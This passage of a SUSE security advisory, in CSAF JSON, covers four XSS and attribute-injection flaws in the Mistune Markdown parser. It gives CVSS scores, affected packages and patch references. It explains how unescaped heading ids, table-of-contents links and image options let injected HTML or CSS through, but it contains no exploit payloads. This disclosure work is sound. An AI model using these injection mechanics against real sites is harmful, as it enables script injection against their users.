"text": "Mistune is a Python Markdown parser with renderers and plugins. In 3.2.0 and realier, in src/mistune/directives/image.py, the render_figure() function concatenates figclass and figwidth options directly into HTML attributes without escaping. This allows attribute injection and XSS even when HTMLRenderer(escape=True) is used, because these values bypass the inline renderer.",
"title": "CVE description"
}
],
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]
},
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{
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"summary": "CVE-2026-44896",
"url": "https://www.suse.com/security/cve/CVE-2026-44896"
},
{
"category": "external",
"summary": "SUSE Bug 1264754 for CVE-2026-44896",
"url": "https://bugzilla.suse.com/1264754"
}
],
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{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
"scores": [
{
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"baseScore": 6.1,
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
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{
"category": "impact",
"date": "2026-05-28T12:08:10Z",
"details": "moderate"
}
],
"title": "CVE-2026-44896"
},
{
"cve": "CVE-2026-44897",
"ids": [
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"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44897"
}
],
"notes": [
{
"category": "general",
"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, HTMLRenderer.heading() builds the opening \u003chN\u003e tag by string-concatenating the id attribute value directly into the HTML - with no call to escape(), safe_entity(), or any other sanitisation function. A double-quote character \" in the id value terminates the attribute, allowing an attacker to inject arbitrary additional attributes (event handlers, src=, href=, etc.) into the heading element. This vulnerability is fixed in 3.2.1.",
"title": "CVE description"
}
],
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]
},
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{
"category": "external",
"summary": "CVE-2026-44897",
"url": "https://www.suse.com/security/cve/CVE-2026-44897"
},
{
"category": "external",
"summary": "SUSE Bug 1264750 for CVE-2026-44897",
"url": "https://bugzilla.suse.com/1264750"
}
],
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{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
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{
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"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
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"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
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"category": "impact",
"date": "2026-05-28T12:08:10Z",
"details": "moderate"
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],
"title": "CVE-2026-44897"
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{
"cve": "CVE-2026-44898",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44898"
}
],
"notes": [
{
"category": "general",
"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, render_toc_ul() builds a \u003cul\u003e table-of-contents tree from a list of (level, id, text) tuples. Both the id value (used as href=\"#\u003cid\u003e\") and the text value (used as the visible link label) are inserted into \u003ca\u003e tags via a plain Python format string - with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the href=\"#...\" attribute context, injecting arbitrary HTML tags including \u003cscript\u003e blocks directly into the rendered TOC. This vulnerability is fixed in 3.2.1.",
"title": "CVE description"
}
],
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]
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{
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"summary": "CVE-2026-44898",
"url": "https://www.suse.com/security/cve/CVE-2026-44898"
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{
"category": "external",
"summary": "SUSE Bug 1265052 for CVE-2026-44898",
"url": "https://bugzilla.suse.com/1265052"
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"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
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"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
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"version": "3.1"
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"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
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"category": "impact",
"date": "2026-05-28T12:08:10Z",
"details": "moderate"
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"title": "CVE-2026-44898"
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"cve": "CVE-2026-44899",
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"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-44899"
}
],
"notes": [
{
"category": "general",
"text": "Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r\"^\\d+(?:\\.\\d*)?\"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style=\"width:...;\" or style=\"height:...;\" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.",
"title": "CVE description"
}
],
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]
},
"references": [
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"category": "external",
"summary": "CVE-2026-44899",
"url": "https://www.suse.com/security/cve/CVE-2026-44899"
},
{
"category": "external",
"summary": "SUSE Bug 1265053 for CVE-2026-44899",
"url": "https://bugzilla.suse.com/1265053"
}
],
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{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"SUSE Linux Enterprise Server 16.0:python313-mistune-3.1.3-160000.3.1.noarch",
"SUSE Linux Enterprise Server for SAP applications 16.0:python313-mistune-3.1.3-160000.3.1.noarch"
]
}
],
"scores": [
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"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
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"products": [
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"date": "2026-05-28T12:08:10Z",
"details": "moderate"
}
],
"title": "CVE-2026-44899"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.